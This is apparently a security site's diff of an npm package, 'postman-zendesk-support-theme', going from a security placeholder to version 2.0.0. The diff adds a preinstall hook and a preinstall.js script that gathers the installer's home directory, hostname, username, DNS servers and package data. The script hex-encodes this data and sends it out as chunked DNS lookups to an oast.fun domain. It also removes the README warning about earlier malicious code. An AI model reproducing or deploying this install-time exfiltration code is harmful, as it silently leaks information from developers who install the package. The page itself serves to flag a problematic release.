postman-zendesk-support-theme 0.0.1-security → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of postman-zendesk-support-theme might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +11 -3
  2. package/preinstall.js +47 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "postman-zendesk-support-theme",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "npm",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "bytex",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "noc-chatbot": "1.3.7"
13
+ }
6
14
  }
package/preinstall.js ADDED
@@ -0,0 +1,47 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const packageJSON = require("./package.json");
4
+ const crypto = require("crypto");
5
+
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ // Hex encode the data
21
+ const hexEncodedData = Buffer.from(trackingData).toString("hex");
22
+
23
+ // Split the data into chunks of 63 characters (max DNS label length)
24
+ const chunkSize = 63;
25
+ let chunks = [];
26
+ for (let i = 0; i < hexEncodedData.length; i += chunkSize) {
27
+ chunks.push(hexEncodedData.substring(i, i + chunkSize));
28
+ }
29
+
30
+ // Function to send DNS queries with the data chunks
31
+ function sendDNSQuery(chunk) {
32
+ const queryDomain = `${chunk}.xcyeqxeafndjeorppguf3lpx3im0bwlml.oast.fun`; // Replace with your controlled domain
33
+
34
+ dns.resolve4(queryDomain, (err, addresses) => {
35
+ if (err) {
36
+ // Handle error
37
+ // console.error(err);
38
+ } else {
39
+ // Handle success (addresses will be an array of IPs)
40
+ console.log(`Sent: ${queryDomain}`);
41
+ }
42
+ });
43
+ }
44
+
45
+ // Send each chunk as a DNS query
46
+ chunks.forEach(chunk => sendDNSQuery(chunk));
47
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=postman-zendesk-support-theme for more information.